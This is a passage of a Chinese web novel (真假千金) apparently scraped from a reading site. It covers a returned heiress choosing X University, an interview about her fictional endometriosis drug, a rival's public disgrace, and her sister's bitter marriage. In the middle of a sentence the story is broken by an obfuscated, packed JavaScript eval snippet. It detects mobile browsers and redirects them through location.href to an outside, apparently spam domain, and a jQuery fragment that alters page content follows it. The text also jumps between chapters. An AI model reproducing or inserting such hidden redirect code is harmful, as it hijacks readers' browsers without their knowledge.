计玉秀怜爱地看着叶奚青,心中的天平已然悄悄倾斜。 午餐结束,叶三就找了个借口溜了,这个家他是再也不想待了! 而计玉秀却还有动力检查王妈的劳动成果,一颗心,全是对女儿衣食住行的担心。 叶雪璃不知道在想什么,也跟在她们身后,却没有人对此表达什么疑问。 或许就连计玉秀心里也知道,这个“女儿”,已经不能对另一个女儿造成“威胁”了,所以无足轻重到,出不出现都不重要。 一行人浩浩荡荡地上楼,二楼很近,可以直接从步梯攀上去。 这个原属于叶家大少的楼层,处处彰显着独特的品味,全楼层都采用了偏中式的装修风格,古朴大气,且和现代家居完美结合,介乎复古和现代之间。 如果放在装修公司,可能是引以为豪的经典案例,放在计玉秀眼里,却是太沉闷了,会不会和一个刚满18岁的小姑娘气质不搭? 叶奚青却很无所谓:“挺好的,坐在办公椅上就有种当皇帝的感觉,我很喜欢。” 计玉秀被她的话逗得一笑,继续视察,发现王妈做得确实挺到位的,不由放心了:“王妈,你做得很好。” 王妈原来就是在计玉秀手下做事的,听到太太的夸奖,顿时很开心:“谢谢太太,以后大小姐有我照顾,您就放心吧!” 计玉秀原本觉得老公让王妈去管家,有点草率了,现在却觉得,要不就让她试试吧,反正家里都是这些琐碎的事。 解决完所有心事,计玉秀和叶奚青一起坐在卧房的大床上,爱怜地捋了捋她的头发:“那青青,你回来后有什么特别想做的事吗?” 对于这个问题,叶奚青早想好了,直截了当地回答:“我要考大学。” 叶奚青今年刚满18岁,正是要高考的年纪,对于从普通阶层上来的人来说,高考肯定是人生大事,这没什么奇怪的,计玉秀便继续温柔地问着:“挺好的,那你想考哪所大学呢?” “X大。” “X大,很好啊……”计玉秀原本顺着她说,反应过来后突然一愣:“X大,为什么是X大呢?” 叶奚青看着她,神情不改道:“为什么不能是X大呢,X大离家很近,如果我去那里上学,每个假期都能回家。” “而且X大有全国最好的生物药学专业,我最大的梦想,就是成为一名药物研发工作者,所以我唯一的志愿就是X大。” 计玉秀:…… X大没有问题,生物药学也没有问题,但连在一起,问题就大了。 像所有豪门女儿一样,都有个联姻情结,放在叶家也是这样,所以叶奚青还有个豪门“未婚夫”。 叶奚青的豪门未婚夫,名叫秦念,现在刚好在X大的生物药学就读大三。 如果没有重生视角,大概只以为这是巧合,但拥有了重生视角,计玉秀就知道叶奚青是故意的。 真是冤孽啊,原本以为“姐妹俩”能和睦相处,没想到又争起来了。 这些年璃儿和秦家阿念朝夕相处,已经有了不小的情谊,但计玉秀莫名觉得,如果自己亲女儿去争的话,她就一定能争到手。 计玉秀看看这个,又看看那个,最后还是没说话。 人都是偏心的,她对不起自己亲女儿太久了,就算她要争,她也不能不答应。 亏欠璃儿的,就拿别的弥补吧,她还年轻,就算现在换个人喜欢,也来得及,她一定会为她找一个不比秦家差的人家。 …… 叶雪璃一直在旁边沉默听着,听见这话,终于抬头:“姐姐要考X大?” 她齐肩的短发,看起来软绵绵的,仰着脸时分外惹人怜爱,叶奚青从容地看向她:“是的,你有什么问题吗?” 叶雪璃手指捏紧衣角,神情却还算自若,强笑道:“只差不到一年的时间了,姐姐之前的学习资源也不好,现在备考,还来得及吗?” 这就是最不用担心的事了,叶奚青从没做过比备战高考更充分的事,所以自信道:“没关系,就算我考不进,以我的家庭条件,也能捐钱进去。” 叶雪璃:…… 叶母:…… 叶奚青毫无芥蒂的霸道小姐宣言,把在场所有人都整无语了,好久叶雪璃才找到自己的语言功能。 小声着对计玉秀道:“妈妈,我也想和姐姐一起考X大……” 计玉秀:…… “你不是艺术特召,直接保送X大吗……” 叶雪璃咬着嘴唇不说话,一副倔强的样子,她就是想考,和别人无关。 计玉秀看着针尖对麦芒的两个人,扶住额头,冤孽啊,冤孽。 …… 就这样,原本以为会闹得沸反盈天的一家,莫名安静下来。 叶父去公司查了一下,才发现何助理的事居然是真的。 这下不仅有理由收回老大老二权柄,更证实了叶奚青说的话都是真的,他根本不敢撒手公司的事。 叶父不回来,叶大叶二被禁止回来,叶三不敢回来,整个家便只剩了叶奚青和叶雪璃。 但这俩人也不吵架,只铆足劲学习,让想看热闹的有热闹都看不了。 两人一个在二楼学,一个在五楼学,互不干涉,重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128433|163342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新摸到课本,叶奚青整个人都被净化了。 系统有时间就去五楼看看,当它看见将头发扎过头顶,发愤图强的叶雪璃,整个核心都在剧痛。 你还真学啊!一个艺术生不和文化生比艺术,你比什么学习啊!她的起点就是你的终点啊! 系统都想偷偷给她塞一个【记忆铭刻】金手指,搓搓叶奚青的锐气,但违规不说,系统现在有点雷【记忆铭刻】这个金手指。 别过不务正业的叶雪璃,又回头看向轻松解题的叶奚青,不由虚弱道:“宿主,你考X大,真的是为了男主吗……” 叶奚青闻言抬头。 学习,对大多数人都是一件枯燥的事,对叶奚青刚巧不是。 她觉得世上没有什么比学习更简单,更放松,所以抬头时,神情非常祥和:“系统,我发现你有点了解我了。” 系统:…… 这还能不了解吗!谁会相信你会为了男主努力啊! 但是到底为什么,系统也猜不到,只能询问:“那是为什么呢?” “呵呵。” 叶奚青轻笑一声,随即神情变得严肃:“因为我觉得叶家会破产。” 系统:? 什么时候的事?它怎么不知道?你不要瞎说! 叶奚青却旋转着靠椅,双手交叉,一脸认真道:“有没有这种剧情,不是用数据查,而是用脑子想。” “你之前只跟我说叶家是豪门,却没告诉我他们是靠美妆起家的。” “叶家这么大的豪门,主打的产业居然是美妆日化,我担心它会破产,有问题吗?” 系统:…… “虽然很感谢宿主你额外的努力,但请不要脑补没有的剧情。” 叶奚青却不敢苟同。 一个世界的运行,总要遵循些基本原理吧,看着眼前一溜各式各样的美容护肤品,这就是让叶家发家的东西。 靠着这个起家成了豪门之一,就当叶家牛,但一想到未来,就看不见未来。 人们对于美容产品的追求,大概来源于对青春不老、永恒生命的渴望,但能实现这一点的可能是任何途径,唯独不可能是这些瓶瓶罐罐和粗劣的化学制品,所以总有一天,这个行业会走到尽头。 她才刚成为豪门大小姐,不想那么快就破产,所以她要为自己的未来打算。 如果是在现实世界,她还要费心筹谋,不搞美容日化,还能搞什么,在小说世界就简单多了。 生物药学,真是好高端的词,不愧是配给男主的职业,听起来就比化妆品研发有安全感。 一个言情小说世界,给男主配备的东西,肯定是最好的。 叶奚青从来想要最好的东西,所以她想去碰碰男主的专业。 系统听着叶奚青堂而皇之的言论,整个统都要吐血了。 不过不要那么得意,男主可不是想超越就能超越,它也没有那么好惹! 32、《真假千金》... 候念云一朝得志,直接化身挖掘机,把之前四年黑子逆天发言的帖子顶了一个遍。 "起来看神!"曾经让人火冒三丈的言论,现在看起来就像一个个乐子,越翻笑点越密集,哈哈哈!这次涌进校园论坛的,不仅有本校师生,还有被引流进来的大量外界人士,大家一起文明看猴。 "我以为凭746分考进来的天才学霸,在学校会很受尊重,结果这是?" “这还不简单吗,看评论,猜性别,有人破防得很彻底。” "我嘞个豆,X大药学就是靠杨院士起家的,瞧不起女生,你没事吧?" “还别说,之前的节奏不就在带杨老是靠女人的身份,才积累的声望,笑死,一个个和外宾似的,女学者到底会因女人的身份得到优待,还是被边缘化,心里没点数吗?” 因为之前有心带的舆论,整个网络都在质疑。 质疑杨文清学生不合规矩免答辩,质疑是不是存在学术不端问题,甚至质疑杨文清的真实学术水平。 现在随着青青科技横空出世,一切迎刃而解。 青青科技V:我司致力于解决一切人类疑难杂症,现针对困扰多数女性的痛经问题,新研出一款针对子宫内膜异位症的特效药,目前已通过临床二期,欢迎社会各界人士持续跟进。@科研院士杨文清V、@青青科技叶奚青、@青青科技孟学冬….… 前几个人,杨文清自不用说,叶奚青就是本次“学术不端”问题的主角,也是四年前那个传奇学霸。 四年并不算很久,很多人对叶奚青还记忆犹新,两相结合,立刻欢欣鼓舞。人们永远喜欢看意气风发的少年,春风得意马蹄疾的剧情,终于有一个年少天才,没有被岁月辜负!没有黑过叶奚青的人,只能感受到这种纯然的喜悦,黑过她的人,却急得像热锅上的蚂蚁。此刻的他们,当然不会觉得自己错了,他们只会觉得不对,其中一定有问题!花钱雇来的水军,没钱就会退了,被洗脑的路人,却会坚定认为自己是正确的,拼尽全力寻找叶奚青的破绽。 "她一个大四生哪有那么厉害的水平,肯定是杨文清弄出来,挂她头上的。" “呦,这会儿不说杨老是靠女人身份爬上去的了,原来她还有研制新药的能力啊,不能吧,你队友可不是那么说的。” 黑子: “公司是叶奚青的,不代表就是她研制出来的,老板要霸占成果,员工敢有异议吗,一个资本家有什么好吹的,她同组的人不知道多恨她呢。” “是吗,我看青青科技的技术人员架构,都是一群崭新的姐姐,是不是她们主力研究的我不知道,至少这个功劳没推一群V子身上,所以你说是她们就是她们吧,我们青粉认了。”黑子:…. 不管他们怎么努力,胡搅蛮缠,叶奚青的粉丝就是不和他们纠缠,只是嘻嘻哈哈地说着让人破防的怪话,这些人终于彻底破防了! "一个治痛经的药有什么了不起,人家开发出治癌症的药也没吹啊,等开发出真的对社会有贡献的药再说吧!" 没想到别的话都没有任何问题,只有这句话引发了众怒。 “痛经药没什么了不起?你妈说不定都痛经呢,你问问她了不了得起吧!” "从月经中来的V子,到底对这个有什么意见,治不好姑奶奶的痛经,你都钻不出来知道吗!" "早知道就把你甩姨妈巾上,让你诞生是我的错误。" 女生什么都能忍,就是忍不了别人说痛经是什么大不了的事。 候念云不痛经,但她一个舍友,真是痛死了,每次来例假都像是从水里捞出来一样,有一次甚至直接在卫生间里痛晕了过去。 她被痛经折磨得受不了,看到这个消息几乎想扒进屏幕里去瞅:“真的能治内异症吗!我就是啊!我现在就想用这款药!” 候念云理解她的急切,但本着舍友的立场,她还是想对她的安全负责:“只是二期临床,还有两期测试,可能还会有些不安全的副作用,你要不要再观望一下?” “啊啊啊!我受不了了!我自愿加入三期测试行不行!我宁愿被毒死,也不想被痛死了!谁有制药公司的联系方式啊!” 候念云看着她,心里微动。 叶雪璃虽然之前靠芭蕾舞有了被特招进来的资格,但X大作为主营学术的学校,舞蹈系其实并不是很强势,校方特招她也只是因为她之前获了很多国际大奖,她又恋爱脑到主动申请进X大,那不招白不招。但因为艺术系的特殊性,很多人都是不住校的,叶雪璃选择住校纯粹是个人问题,凑不齐一个专门的舞蹈系宿舍,也就和其它系的人拼在一起。 候念云那个痛经痛到要死的舍友是学美术的,而候念云学的其实是传媒。 在这之前,她一直隔着网线,和“奚神”相交了那么多年。 这一次,她迫切地想和她现实地见一面! …… “X大传媒大四的毕业生想采访我?” 孟学冬小鸡啄米点头:“是的!奚神!你现在好火的!” 如果是一般人也就罢了,同校校友自然要答应,叶奚青轻轻点头:“让她进来吧。” 候念云怀着忐忑的心情进去,和她想象的高大上不同,公司的装饰很朴实,这给了她“大学生创业”的真实感,看来这个科研公司的经费并不多,似乎可以就这点发散一下。当她见到叶奚青时,叶奚青身上的无菌服还没脱,看见她从容道:“等我换个衣服,客人先去会议室。” 候念云几乎想尖叫了,牵扯她注意力四年的人就站在了眼前,简直像做梦一样! 晕乎乎地被带去会议室,回味着见叶奚青的第一面,她和她想象得太不一样了! 她是那么高大,按理说今年也就二十二、三岁,却有了成熟的上位者威仪。 这之前,她和群里的人,一直喜欢昵称叶奚青叫“学妹”,但经过今天,这个词她再也叫不出口了! 叶奚青衣服换得很快,拉开椅子直奔主题:“同学,你有什么问题?” 候念云这才反应过来不是陶醉的时候,赶紧打开电脑、录音笔,开始今天的正式访问。 "叶同学您好,虽然您不认识我,但作为校友,我已经仰慕您多时了!" “知道您的光辉成就后,我立刻心潮澎湃,想对您进行一期专访,为了不眈误您更多的时间,我将直接进入主题,今天的第一个问题是——“ "我的舍友是子宫内膜异位症受害者之一,通过她,我对此症产生了一些了解,所以我想问您,您认为您研发的这款针对子宫内膜异位症的特效药,与传统的对症药物相比,有什么不同和优劣呢?"叶奚青放松地靠在椅背上,她很喜欢这种单刀直入的采访风格,这让她很有交谈欲望。 "既然你对此症有些了解,那我便略述一下。" “痛经是女性群体最常见的妇科疾病,而子宫内膜异位症,是其中最常见的诱发病因之一。” “其诱发原因是女性每次月经来潮时,都会产生逆流现象,导致含有活性的子宫内膜细胞,黏附在盆腔组织上。” “健康女性的免疫系统,会清除这种反常细胞,但患有子宫内膜异位症的女性,免疫系统会有异常表达,无法有效清除内膜细胞,导致异位内膜存活,引发病理性病变。” “传统的治疗方式包括药物治疗以及手术治疗,药物治疗的常规思路是调节激素水平,抗炎镇痛。” "不管哪种治疗方式,都会对身体内分泌系统造成负面影响,且无法根除病灶。" “基于这种事实,我们决定调整思路,从根本出发,制作能激发免疫系统的靶向药。” “在全体成员的共同努力下,终于发现了能最大程度作用于经期分解异常内膜细胞,且不会对人体循环造成太大影响的新靶点,我们将其命名为BKMT-12。” “针对此靶点的药物,核心原理在于激发人体自免疫系统,和传统药物相比,对身体的负荷会更小,并且直接作用于病灶,让根治疾病不再是梦。” "但作为一款刚刚开始开发的新药,它的弊端也很明显,因为药性并不温和,无法作为常规药,在病痛显现之前服用,也无法彻底疗愈免疫系统,做到断药永不复发。" “根据测试,在病痛显现之初,服用此药,会在20分钟内有效缓解疼痛,60分钟内,基本达到平稳状态,其中伴有嗜睡、空腹肠胃刺激等副作用。” “经过持续监测,并未产生其它严重副作用,服药一疗程后,据受试者反馈,原有病痛,并未在下次经期复发,根据调查报告,延期时间可以达到36个月。” “经过二期样本评测,初步判定,这种延期复发,可以归类于此药功效,但更准确的数据,需要更大量的样本判定,是否会产生耐药性,导致药效下降,也需要更长时间的监测。” 候念云一边听一边啪啪打字,听到这终于瞪大眼睛:"那岂不是说服药以后,以前的月痛,可以变成季痛,甚至半年痛,像治疗流感一样?" 叶奚青听着她的问题,细细思索了一下,露出一个笑容:“你的比喻我很喜欢,原本因为药效并未达到预想效果,我有些失落,但你的话鼓励了我,或许在彻底根除之前,能延缓病痛,也是阶段性的胜利。”候念云:! 她被夸了! 本来人被夸就是会很开心的,更不用说夸自己的是自己一直仰慕的人! 候念云如饮美酒,情绪越来越放松:“那听您的意思,您还有更大的野心,目前是有什么方向吗?” “很遗憾,现在的技术水平束缚了我的思维,但随着我深入的研究,我有种预感,达成这一切的,或许是基因编辑方面的研究。”“基因编辑,潘多拉魔盒般的词语,作为这个行业的先行者,您对这项技术的发展,和会引发的社会问题,有什么见解吗?““问一个学者社会问题,实在太强人所难了,不过好在我是一个喜欢研究多样知识的人。”“我认为这个魔盒,未来总有一天会被打开,因为人类就是那样好奇心旺盛的潘多拉,哪怕未来是毁灭,也会打开一个又一个盒子。”“所以我决定不阻止,我只会把那把钥匙握在手中,当未来的人们在毁灭和希望的夹缝中挣扎时,我要看见那个打开盒子的潘多拉是我。”候念云: 越深入触及她的灵魂,越能感受到她身上毁灭与创生并存的磅礴。候念云一边为这种恐怖的美丽颤栗,一边又为她漩涡般的深邃沉沦。 这场采访,超乎了她的想象,她的思维从未这么活跃过,一个又一个问题脱口而出,几乎不用思考,当文档再次翻了个页,她才发现居然问了这么多。 看了一下时间,说是不占用人家太多时间,其实已经占用那么多了,候念云不禁有些羞窘。 但有一个问题,无论如何她也要问出口,因为这个问题,是为她的这四年问的。 "最后一个问题,我想请问您一下,那就是作为一个学术榜样,尤其是女性榜样,有很多和您同性别的人喜欢着您,期待着您,聚集在这样的目光和期待中,您是否会感受到有些压力呢?"就算叶奚青体力好,这么长时间的采访也有些累了,她换了一个更轻松的姿势,将手垂在椅背上。 "为什么要用‘喜欢” 期待’,而不用‘支持’呢?一直以来,你的用词都很准确,为什么最后一个问题,不敢用出‘支持’这两个字呢?"候念云:…. “我以为更明确的帮助,才能被叫作支持,只是轻飘飘的喜欢,也可以被称为支持吗?”“如果汇聚来的声音可以是无偿的,那么就不会诞生营销这个专业。”"你们给了我太多声音,如果这都不能算是支持,什么才算支持呢?"“所以继续喜欢我吧,不用为我的成败背负压力,我也不会将你们的声音当作全部,因为我们是两条并行的道路。”“但不要因为任何理由,自作主张地离开我,因为我需要你们的声音,就像你们需要我的胜利。” 候念云:… 她早就知道了,叶奚青是高考746分的天才,也就是说不仅是客观题,她的表述题也答得趋近完美。 但到底是什么样的嘴,才能说出这么动人的话啊! 啊啊啊!奚神!我是你的粉丝!你能不能给我签个名啊! 叶奚青从善如流地在她笔记本扉页上签上大名,真难为她能装那么久。 "奚神,我的舍友想报名参加三期测试,这个可以吗?安全吗?" “当然可以,感谢你舍友为人类和医疗做出的贡献。” 至于安不安全的,她只能说,感谢您为人类和医疗做出的贡献。 33、《真假千金》... 候念云回去没多久,《人物》杂志就出新封面了。 封面上的女人,侧身回头,宛如爬行类般幽静的瞳孔,在一堆花里胡哨的排版中别众而出,仿佛在注视着画面外的人。 那一幕简直令人心悸,当看见人物名字时,更令人欢呼雀跃,是传奇学霸叶奚青! 因为封面人物,原本非常冷门的一个杂志,最后狂销了十万余册,出版商紧急推出单人电子刊,也售出了五万余册。 在这个纸媒落寞的时代,除了追星群体会有大量时尚杂志购买需求,一般的杂志,尤其是偏正经内容类的杂志,是没有这么恐怖销量的。 现在叶奚青开启了新时代,流量学者时代! 看不惯叶奚青的,立刻有话说了,把学术圈搞得和娱乐圈一样干什么! 而且《人物》明明是一款很高大上的杂志,现在被青粉整成大路货,B格都没有了! 青粉人手一本杂志,斜睨着叼叼赖赖的人,酸鸡事就是多。 她们只想疯狂膜拜“青学神文”,这什么人写的!也太会写了吧! 《人物》是一款主打杰出人物的社会性杂志,所以里面的内容还是很严谨的。 文章详细描写了那款痛经药的药理和药效,不知为什么,本应该枯燥的知识点,读起来竟然很有趣味,哪怕是有些不懂的词汇,也只平添了一些神秘魅力。 仔细想想,应该是叙说者没有一股脑输出自己的专业知识,一直都照顾着采访者和她们这些外行人的听感,她们没有完全被甩在门外,就有了引索攀缘的兴趣,一篇很长的访谈文章,居然读得非常愉快。口齿生香地阅读完,合上书页,才感觉有些不对。 这个笔者的视角是不是有点问题,这哪里是访谈文章,这不梦女文学吗! 全文都在用一种难以言喻的视角,阴暗地观摩着被访者,在这个视角里—— 她,危险又迷人,她,沉静又有趣,她,是人类辉煌的开创者,她,是终结一切的寂灭者,在最后,她还很爱我,嘿嘿嘿嘿嘿。 能get到这种意味的人,都有点无语,但更无语的是,她们因为一个梦女强烈的爱,爱上了她描绘的人! 爱能为人塑金身,充沛的感情,细腻的笔触,让这篇访谈文章成了“青学神文”,吸引无数和笔者一样的“梦女”诞生。 又因为杂志辉煌的销量,和这篇访谈文章的广泛流传,让候念云的毕业设计完美通过,并在学校时,就收到了多家出版社主动递来的邀约。 原本只是对偶像的热爱,没想到有一天,会作为能量回馈在自己身上。 候念云看着未来越来越明晰的道路,突然感觉偶像说得很对,她们是两条并行的道路,而在这条道路上,她并不会逊于任何人! …… 一切尘埃落定,有人欢欣鼓舞,也有人五内俱焚。 曾经被捧得有多高,摔得就有多狠。 叶奚青的粉丝是出于爱和不平才追捧她,一到了会触及叶奚青本人的问题,就会自动退缩,哪怕生气,也自己消化。 秦念的追捧者们却完全是把他当枪使,享受打压另一性别的快感,抬他当枪时嘴一张什么都敢吹,见势不好,原地一散,徒留他一个人在原地承受羞辱。“这个叫秦念的什么玩意,早出生四年,给奚神答个辩就高潮了?” “笑晕,学术研究没怎么地,嗲师文学研究得挺好,什么导师来给你出气,我就说他们在精神那啥吧。” “但他有啥气可出呢,开局不是他带着一大帮人骚扰小学妹,结果骚扰到奚神身上,被奚神怒打脸了吗?” "你怎么敢拒绝耀祖啊!那不是要了耀祖的命吗!" "哈哈,那我也来个娇徒文学,奚神:有恶臭男要给我答辩!杨老:没事,你的答辩免了!" "哈哈哈,但我们奚神可不是娇徒哦,随便一出手,就是废物男宝的一辈子。" 曾经万众瞩目的“学神校草”,一夕之间就成了人人喊打的过街老鼠。 以前在实验室里,还会有女同学向他献殷勤,现在见他走过,都像躲瘟疫一样躲开。 他的老师也果断地抛弃了他,对他不冷不热,似乎要证明一切都和他无关。 【我会用四年的时间,告诉学哥你没资格这么轻佻地向我搭讪。】 【再用十年的时间,告诉学哥你没有资格在食堂俯视着我和我讨论学术问题。】 叶奚青曾经说过的话,又浮现在了他脑海里。 秦念咬着牙走进实验室,他不会被那么轻易打败! 只是一个痛经药而已,他怎么能也被舆论裹挟,因此丧失斗志,他未来一定会做出更辉煌的成就! 做好心理建设后,秦念便不再理会一些无足轻重的目光,大步跨进实验室。 就算他名声臭了,也没有任何人能把他赶出去,更何况只是一些“私德”都称不上的小问题,怎么会影响到他的一辈子呢? 然而他刚跨进实验,就看见了一个不可能的身影,不敢置信地开口:“叶奚青?” 叶奚青回头,上下打量了他一眼,露出一个笑容:“是我,这位学哥,看起来很熟悉呢。” 秦念:… “你为什么会在这里!” 叶奚青歪歪头,她还没说话,身边的学姐,也就是那场答辩的组长,已经笑着开口了。 “就在不久前,我学妹关于新药的论文,已经被三大学刊之一,更注重自然科学的《NSL》收录,经过校方共同评估考核,认为她有直博的能力,所以以后大家可以常常见面喽~” 秦念愣愣地看着叶奚青,她温柔的笑意,似乎看起来都有些恐怖。 “学哥,这是第一个四年。” ……叶雪璃有些茫然,大学四年,刨去外出演出和放假的时间,和舍友们没相处多久,就要散了。她是一个很难从一段关系中走出来的人,每次看到这种轰轰烈烈的离别场景,就感觉自己的心要揪起来了。所以哪怕当初她才是最难走进这段宿舍友谊的人,离开时,倒显得她最为难过。舍友们看着哭成泪人的叶雪璃,有些面面相觑,叶雪璃和她们的关系有那么好吗?这些年,因为叶雪璃总是各处飞着演出,加上她三句不离“阿念哥哥”的超绝恋爱脑子,让同寝的舍友面对她,总不知道该怎么交谈……但现在看她这副样子,舍友们开始反思自己,叶雪璃只是感情丰富了一些,又有什么错呢,每个人表达感情的方式都不一样好吗!于是曾经相处四年的所有心结都消散了,众人干着自己最喜欢的饮料,吃着自己最喜欢的自助火锅,连每次痛经都像个玻璃娃娃的脆弱舍友,也在青青科技新药帮助下,玩得虎虎生风。叶雪璃还从未和人这么疯玩过,从过山车上下来时,还在剧烈喘气。 看着游乐园欢乐的人群,她感受到了从未有过的自由生命,指着下一个项目,满脸兴奋道:“我们继续玩吧!” 一脸菜色的室友们: 你是超人吗? 最后一天,每一个舍友都显现出了以前从未有过的样子,尤其是叶雪璃,真不知道她兔子般娇小的身体,到底哪来的那么多活力……不过大家都是年轻的身体,也就在过山车时挑战了极限,其它时候都玩得很开心。摩天轮静静升起,六个人扒在透明玻璃上,看着窗外的景色,都说是承载爱情的摩天轮,和朋友一起乘坐居然也很开心。但可能是爱神不堪寂寞,悄悄发力,当摩天轮升到最高时,叶雪璃突然收到一条信息。 阿念哥哥:想和我结婚吗。 叶雪璃: …… 叶雪璃回来了,计玉秀很高兴。 原本以为有两个女儿,总能有一个留下来陪自己,结果没想到“大女儿”飞出去,“小女儿”也飞出去了。 拉着叶雪璃的手,好劲聊会儿天:“最近怎么样?” 叶雪璃:…. 曾经纠结的真假千金,现在已经感觉不到什么存在感了。大概是出去飞一会儿,才发现自己并不是离开家就活不了,之前的恐惧,更像是被养习惯的小鸟,自己给自己脑补的可怕场景。当站在自己的舞台上,听着别人的称赞时,她才意识到自己真的有一双天鹅的翅膀,可以跨越任何地方。 有了这些微离开的勇气,倒让她跟计玉秀心理上更亲近了一些,少了以前乱七八糟的杂念:“挺好的,之前的演出很成功,在剧团交了新的朋友,然后和学校的舍友们告了个别。”计玉秀听叶雪璃讲着那些和朋友、和剧团的趣事,有些感慨:“你好像也长大了,妈妈感觉有点抓不住你了。”如果是之前,叶雪璃可能抱着她安慰:不用担心,妈妈,我会永远陪在你身边。但现在,她突然产生了一些奇妙的想法,并大胆地说出口:“妈妈,其实并不是你抓不住我了,而是你总喜欢在原地等待。” "如果有一天你自己也出去走走,也许会发现,你根本不用抓住任何人呢。" 计玉秀:… …… 唯一贴心的小棉袄,也不贴心了,让计玉秀很是失落。 送叶雪璃上去休息,这些年她还是住在五楼,但今天看着高高的楼梯,叶雪璃突然开口:“妈妈,我可以住三层吗?” "底下都是空的,就我单独住一层,我感觉有点害怕。" 计玉秀:…… 确实,以前没有想过这个问题。 自叶奚青回来后,三个儿子好像彻底消失了,那两层也常年空着。 叶三偶尔还回来几回,叶大、叶二是彻底回不来了,空荡荡地隔着两层,乍然一说,感觉都没有多少人气…… 计玉秀是个慈爱的母亲,也从未把叶雪璃当过外人,立刻同意了她的请求。 叶雪璃没想到一切这么简单,原来只用开口就行了。 望着原属于二哥的星空海砂发呆,她小时候就很喜欢这个房间,现在居然能据为己有了。 …… 说是毕业了,回家聚聚,但因为实验室的一些事,又弄到很晚。 叶奚青止住要汇报的人,自己独自上楼,然后就发现叶雪璃又在熟悉的地方等她。 抬头看过去,这个神秘的打野点,到底有什么迷之吸引力呢? 叶雪璃却已经不像四年前那么怯懦,直直地看向她:“阿念哥哥向我求婚了。”"你答应了吗?"“我假装没看见。” “哦,那你找我干什么。”“我想问问你,我应不应该答应。”“问我的必要理由是什么。” “因为你是我姐,我每次叫你姐姐,你都没有反驳,既然如此,你应该教我一些姐姐会教的东西吧。” 叶奚青:.… 我也是个宝宝,你问我最好先经过我家长同意。 当然,她不会说这么崩人设的话。 所以叶奚青抬起头,浑圆的瞳孔,在灯光下好像能吞噬光线。 “你的人生,只能由你来决定。” "但如果你真的视我为姐姐的话,我会给你个忠告——" “这场婚姻不要持续到六年,因为在第六年的时候,我会赴我的十年之约。” 34、《真假千金》... 叶雪璃和秦念还是结婚了,因为有些屎就得亲自尝尝。 其实当初她打出:“对不起,昨天睡得很早没看见,真的可以吗,我太开心了!”她是真的有些开心。 期待了整个青春的东西终于落在手心,哪怕“它”已经和最初期待的样子有些不同,又怎么能不欢欣雀跃呢? 所以她开心地握住了阿念哥哥伸过来的手,在一个阳光明媚,白鸽飞起的日子,步入了神圣的婚姻殿堂。 然后只用六年的时间,就意识到自己真的在吃屎。 “又回娘家告状了,看来我们秦家真的有好多地方对不起你啊。”叶雪璃一回来,阴阳怪气的话就飘过来。 她看也懒得看,背身将围巾拆下,挂在衣架上,神情疲惫地开口:“只是我妈妈过生日,我回家看看,妈,你不要想太多。” 秦母却不以为意地讽刺一笑:"叫得那么亲热,不知道的,还真以为是你亲妈呢。" 叶雪璃: 曾经温柔和善的秦阿姨,在她婚后,似乎变了一个模样。 以前会亲切地拉着她的手,说不管她是不是叶家的亲生女儿,她都是她看着长大的,她会对她一视同仁。 现在却把她是捡来的女儿这件事挂在嘴边,恨不得时时提醒她,嫁进秦家,她不配。 叶雪璃不想和她争辩,直接上楼,却在走进房间没多会儿直接退出来,噔噔下楼,满脸怒气道:“秦正!你干了什么!” 她的橱柜门上,衣服上,包上,都被口红涂了个乱七八糟,而作案人很明显地只针对她一个人,秦念的东西好好放在一旁,一点没动! 她不知道是这种恶作剧更让她恼火,还是这种区别对待更让她恼火,总之她在一瞬间失去了理智。 在一旁玩小火车的秦正,却丝毫没有被她吓到,看着她因愤怒而扭曲的脸,反而高兴地吐出舌头,扮一个鬼脸:“略略略~” 叶雪璃瞬间怒火上头,她是真的想把他拽过来,给他一巴掌。 但在她付诸行动之前,秦母已经一把将秦正抱在怀里,搂着乖孙笑呵呵地哄着,转头看向叶雪璃,瞬间冷下脸:“你干什么,小正才五岁,能懂什么,调皮点不是正常的吗!” “更何况你一个当妈的,天天往外跑,一点不顾家,这么不负责任,以后小正长大了不认你也是应该的!” 叶雪璃胸膛剧烈起伏着,她不负责任? 当初她满怀期待地嫁进秦家,新婚第一夜就遭受了沉重打击。 秦念怀着满腔挫折的代偿心理娶了她,自然不可能对她太温柔,她也有意识不能刚结婚就怀孕,但她的意愿在秦念面前能算什么,秦念顺利地几乎像她没有抗议,只留她一个人茫然地留在原地。为什么这一切,都和她想象得不一样呢…… 所以在新婚回门后,见到自家妈妈的第一面,叶雪璃居然是不受控制地哭出来。 计玉秀有些无措地安慰着她,这是怎么了,不是已经嫁给自己一直想嫁的人了吗? 叶雪璃也不知道自己是怎么了,只能一个劲擦去不应该涌出的眼泪,她明明有那么多委屈,却一句不能说出口。 连愤怒的计玉秀想去秦家给她讨回公道,她也只能在一旁拦着,说自己并没有受委屈,因为理论上,她确实什么委屈也没受。 将眼泪咽下去,强打精神,那么多人前仆后继、欢天喜地地步入婚姻,婚姻又怎么会一点好处都没有呢? 她努力让自己找寻婚后生活的美好,但在她找到之前,孩子已经先一步找来了。 那种感觉很恐怖,明明她也是刚刚脱离妈妈怀抱的孩子,但已经有个孩子扒在她身上了。 她茫然地拿着检查报告,还没反应过来发生什么时,身边的人已经一窝蜂地涌来恭喜。 连渐渐开始嫌弃她娇气的秦母,和对她从来不假辞色的秦念,也开始软化下来,看她的眼神开始出现了“爱”。 那这确实是值得恭喜的一件事吧? 只是不管别人怎么改变态度,她都要面临一件最重要的事,那就是怀孕的她,无法再参加演出。 “我生完孩子还会回来的。”叶雪璃这么保证着。 但当生下孩子,被激素和产后创伤影响的,再也做不到曾经能轻易做到的动作时,她才明白剧团长当初看她的怜悯眼神是什么意思。 二十多年来,叶雪璃唯一持之以恒做的事,就是芭蕾,现在再也不能做了。 叶雪璃哭得比以前还厉害,但孩子落地,木已成舟,秦母和秦念很快失去了哄她的兴趣。 